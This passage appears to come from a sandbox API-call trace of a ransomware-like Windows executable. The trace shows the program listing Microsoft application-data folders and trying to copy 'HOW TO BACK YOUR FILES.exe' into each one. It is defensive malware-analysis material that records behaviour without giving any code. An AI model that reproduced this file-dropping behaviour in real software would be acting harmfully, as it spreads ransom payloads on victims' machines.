FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\drm\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.851] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0102.851] lstrcmpiW (lpString1="eHome", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.851] lstrcmpiW (lpString1="eHome", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.851] lstrcpyW (in: lpString1=0x241e8c6, lpString2="eHome" | out: lpString1="eHome") returned="eHome" [0102.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546370 [0102.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8a) returned 0x532d20 [0102.851] lstrcatW (in: lpString1="eHome", lpString2="\\" | out: lpString1="eHome\\") returned="eHome\\" [0102.851] lstrcatW (in: lpString1="eHome\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="eHome\\HOW TO BACK YOUR FILES.exe") returned="eHome\\HOW TO BACK YOUR FILES.exe" [0102.851] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\eHome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\ehome\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.851] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0102.852] lstrcmpiW (lpString1="Event Viewer", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.852] lstrcmpiW (lpString1="Event Viewer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.852] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Event Viewer" | out: lpString1="Event Viewer") returned="Event Viewer" [0102.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546388 [0102.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x98) returned 0x53de00 [0102.852] lstrcatW (in: lpString1="Event Viewer", lpString2="\\" | out: lpString1="Event Viewer\\") returned="Event Viewer\\" [0102.852] lstrcatW (in: lpString1="Event Viewer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Event Viewer\\HOW TO BACK YOUR FILES.exe") returned="Event Viewer\\HOW TO BACK YOUR FILES.exe" [0102.852] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Event Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\event viewer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.852] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc608f00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.852] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.852] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1e55b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1e55b20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0102.852] lstrcmpiW (lpString1="IdentityCRL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.852] lstrcmpiW (lpString1="IdentityCRL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.853] lstrcpyW (in: lpString1=0x241e8c6, lpString2="IdentityCRL" | out: lpString1="IdentityCRL") returned="IdentityCRL" [0102.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5463a0 [0102.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x96) returned 0x53dea0 [0102.853] lstrcatW (in: lpString1="IdentityCRL", lpString2="\\" | out: lpString1="IdentityCRL\\") returned="IdentityCRL\\" [0102.853] lstrcatW (in: lpString1="IdentityCRL\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IdentityCRL\\HOW TO BACK YOUR FILES.exe") returned="IdentityCRL\\HOW TO BACK YOUR FILES.exe" [0102.853] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\IdentityCRL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\identitycrl\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.853] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0102.853] lstrcmpiW (lpString1="Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.853] lstrcmpiW (lpString1="Media Player", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.854] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Media Player" | out: lpString1="Media Player") returned="Media Player" [0102.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5463b8 [0102.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x98) returned 0x53df40 [0102.854] lstrcatW (in: lpString1="Media Player", lpString2="\\" | out: lpString1="Media Player\\") returned="Media Player\\" [0102.854] lstrcatW (in: lpString1="Media Player\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Media Player\\HOW TO BACK YOUR FILES.exe") returned="Media Player\\HOW TO BACK YOUR FILES.exe" [0102.854] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.854] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe1f14200, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1f14200, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0102.854] lstrcmpiW (lpString1="MF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.854] lstrcmpiW (lpString1="MF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.854] lstrcpyW (in: lpString1=0x241e8c6, lpString2="MF" | out: lpString1="MF") returned="MF" [0102.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5463d0 [0102.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x5147e8 [0102.855] lstrcatW (in: lpString1="MF", lpString2="\\" | out: lpString1="MF\\") returned="MF\\" [0102.855] lstrcatW (in: lpString1="MF\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MF\\HOW TO BACK YOUR FILES.exe") returned="MF\\HOW TO BACK YOUR FILES.exe" [0102.855] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\MF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\mf\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.855] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1 [0102.855] lstrcmpiW (lpString1="MSDN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.855] lstrcmpiW (lpString1="MSDN", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.855] lstrcpyW (in: lpString1=0x241e8c6, lpString2="MSDN" | out: lpString1="MSDN") returned="MSDN" [0102.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5463e8 [0102.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x514878 [0102.855] lstrcatW (in: lpString1="MSDN", lpString2="\\" | out: lpString1="MSDN\\") returned="MSDN\\" [0102.855] lstrcatW (in: lpString1="MSDN\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSDN\\HOW TO BACK YOUR FILES.exe") returned="MSDN\\HOW TO BACK YOUR FILES.exe" [0102.855] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\MSDN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\msdn\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.856] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0102.856] lstrcmpiW (lpString1="NetFramework", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.856] lstrcmpiW (lpString1="NetFramework", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.856] lstrcpyW (in: lpString1=0x241e8c6, lpString2="NetFramework" | out: lpString1="NetFramework") returned="NetFramework" [0102.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546400 [0102.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x98) returned 0x53dfe0 [0102.856] lstrcatW (in: lpString1="NetFramework", lpString2="\\" | out: lpString1="NetFramework\\") returned="NetFramework\\" [0102.856] lstrcatW (in: lpString1="NetFramework\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="NetFramework\\HOW TO BACK YOUR FILES.exe") returned="NetFramework\\HOW TO BACK YOUR FILES.exe" [0102.856] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\NetFramework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\netframework\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.857] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47e9f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0102.857] lstrcmpiW (lpString1="Network", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.857] lstrcmpiW (lpString1="Network", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.857] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Network" | out: lpString1="Network") returned="Network" [0102.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546418 [0102.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8e) returned 0x533b60 [0102.857] lstrcatW (in: lpString1="Network", lpString2="\\" | out: lpString1="Network\\") returned="Network\\" [0102.857] lstrcatW (in: lpString1="Network\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Network\\HOW TO BACK YOUR FILES.exe") returned="Network\\HOW TO BACK YOUR FILES.exe" [0102.857] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Network\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\network\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.858] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe2090fc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2090fc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1 [0102.858] lstrcmpiW (lpString1="OFFICE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.858] lstrcmpiW (lpString1="OFFICE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.858] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OFFICE" | out: lpString1="OFFICE") returned="OFFICE" [0102.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546430 [0102.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x533bf8 [0102.858] lstrcatW (in: lpString1="OFFICE", lpString2="\\" | out: lpString1="OFFICE\\") returned="OFFICE\\" [0102.858] lstrcatW (in: lpString1="OFFICE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OFFICE\\HOW TO BACK YOUR FILES.exe") returned="OFFICE\\HOW TO BACK YOUR FILES.exe" [0102.858] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\OFFICE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\office\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.858] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe20dd280, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe20dd280, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0102.858] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.859] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.859] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="OfficeSoftwareProtectionPlatform") returned="OfficeSoftwareProtectionPlatform" [0102.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546448 [0102.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc0) returned 0x528250 [0102.859] lstrcatW (in: lpString1="OfficeSoftwareProtectionPlatform", lpString2="\\" | out: lpString1="OfficeSoftwareProtectionPlatform\\") returned="OfficeSoftwareProtectionPlatform\\" [0102.859] lstrcatW (in: lpString1="OfficeSoftwareProtectionPlatform\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe") returned="OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" [0102.859] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\officesoftwareprotectionplatform\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.859] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48100c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0102.859] lstrcmpiW (lpString1="RAC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.859] lstrcmpiW (lpString1="RAC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.859] lstrcpyW (in: lpString1=0x241e8c6, lpString2="RAC" | out: lpString1="RAC") returned="RAC" [0102.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546460 [0102.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x86) returned 0x514908 [0102.860] lstrcatW (in: lpString1="RAC", lpString2="\\" | out: lpString1="RAC\\") returned="RAC\\" [0102.860] lstrcatW (in: lpString1="RAC\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="RAC\\HOW TO BACK YOUR FILES.exe") returned="RAC\\HOW TO BACK YOUR FILES.exe" [0102.860] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\RAC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\rac\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.860] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0102.860] lstrcmpiW (lpString1="Search", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.860] lstrcmpiW (lpString1="Search", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.860] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Search" | out: lpString1="Search") returned="Search" [0102.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546478 [0102.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x533c90 [0102.860] lstrcatW (in: lpString1="Search", lpString2="\\" | out: lpString1="Search\\") returned="Search\\" [0102.860] lstrcatW (in: lpString1="Search\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Search\\HOW TO BACK YOUR FILES.exe") returned="Search\\HOW TO BACK YOUR FILES.exe" [0102.860] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Search\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\search\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.861] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe2318720, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2318720, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0102.861] lstrcmpiW (lpString1="User Account Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.861] lstrcmpiW (lpString1="User Account Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.861] lstrcpyW (in: lpString1=0x241e8c6, lpString2="User Account Pictures" | out: lpString1="User Account Pictures") returned="User Account Pictures" [0102.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546490 [0102.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x543030 [0102.861] lstrcatW (in: lpString1="User Account Pictures", lpString2="\\" | out: lpString1="User Account Pictures\\") returned="User Account Pictures\\" [0102.861] lstrcatW (in: lpString1="User Account Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="User Account Pictures\\HOW TO BACK YOUR FILES.exe") returned="User Account Pictures\\HOW TO BACK YOUR FILES.exe" [0102.861] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\User Account Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\user account pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.862] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0102.862] lstrcmpiW (lpString1="Vault", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.862] lstrcmpiW (lpString1="Vault", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.862] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Vault" | out: lpString1="Vault") returned="Vault" [0102.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5464a8 [0102.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8a) returned 0x533d28 [0102.862] lstrcatW (in: lpString1="Vault", lpString2="\\" | out: lpString1="Vault\\") returned="Vault\\" [0102.862] lstrcatW (in: lpString1="Vault\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Vault\\HOW TO BACK YOUR FILES.exe") returned="Vault\\HOW TO BACK YOUR FILES.exe" [0102.862] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Vault\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\vault\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.863] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0102.863] lstrcmpiW (lpString1="VISIO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.863] lstrcmpiW (lpString1="VISIO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.863] lstrcpyW (in: lpString1=0x241e8c6, lpString2="VISIO" | out: lpString1="VISIO") returned="VISIO" [0102.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5464c0 [0102.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8a) returned 0x533dc0 [0102.863] lstrcatW (in: lpString1="VISIO", lpString2="\\" | out: lpString1="VISIO\\") returned="VISIO\\" [0102.863] lstrcatW (in: lpString1="VISIO\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VISIO\\HOW TO BACK YOUR FILES.exe") 